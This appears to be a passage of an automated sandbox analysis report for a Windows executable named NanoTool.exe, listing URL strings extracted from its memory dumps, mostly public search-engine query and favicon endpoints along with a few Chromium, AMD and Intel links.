      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sg.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://source.chromium.org/chromium/chromium/src/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sp.ask.com/sh/i/a16/favicon/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sp.ask.com/sh/i/a16/favicon/favicon.icohttps://www.ask.com/web?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ssl.pstatic.net/sstatic/search/favicon/favicon_140327.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ssl.pstatic.net/sstatic/search/favicon/favicon_140327.icohttps://search.naver.com/search.nav
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://storage.ape.yandex.net/get/browser/Doodles/yandex/drawable-xxhdpi/yandex.png
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suche.gmx.at/web/result?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suche.gmx.net/web/result?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sug.so.360.cn/suggest?encodein=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://sugg.sogou.com/sugg/ajaj_json.jsp?type=addrbar&key=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.search.daum.net/sushi/opensearch/pc?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.seznam.cz/fulltext_ff?phrase=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.seznam.sk/fulltext_ff?phrase=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.by/suggest-ff.cgi?part=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.com.tr/suggest-ff.cgi?part=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.com/suggest-ff.cgi?part=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.kz/suggest-ff.cgi?part=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggest.yandex.ua/suggest-ff.cgi?part=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestion.baidu.com/su?wd=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.at/s?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.co.uk/s?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.com/s?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.es/s?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.fr/s?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggestplugin.gmx.net/s?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://suggests.go.mail.ru/chrome?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/favicon.icohttps://th.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://th.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/favicon.icohttps://tr.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tr.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://tw.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/favicon.icohttps://ve.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ve.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/favicon.icohttps://vn.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://vn.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.amd.com/en/support/apu/amd-series-processors/amd-a8-series-apu-for-laptops/a8-5550m-rade
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ask.com/web?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/#ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/favicon.icohttps://www.baidu.com/#ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.baidu.com/s?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.delfi.lt/paieska/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/newtab/(
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.ecosia.org/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/favicon.icohttps://www.givero.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/suggest?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/serp?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.icohttps://www.info.com/serp?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.intel.com/content/www/us/en/download-center/home.html
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.neti.ee/cgi-bin/otsing?query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.icohttps://www.privacywall.org/search/secure/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/search/secure/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/favicon.icohttps://www.qwant.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/favicon.icohttps://www.so.com/s?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/s?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.softonic.com.br/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.softonic.com/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.icohttps://www.sogou.com/web?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/web?ie=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.by/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.com.tr/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.com.tr/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.kz/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.ua/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.icohttps://www.zoznam.sk/hladaj.fcgi?s=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/hladaj.fcgi?s=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageview
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageviewhttps://www.yandex.by/chrome/newtabhttps://storage.ape
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageview
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com/images/search?rpt=imageview
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com/search/?text=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/
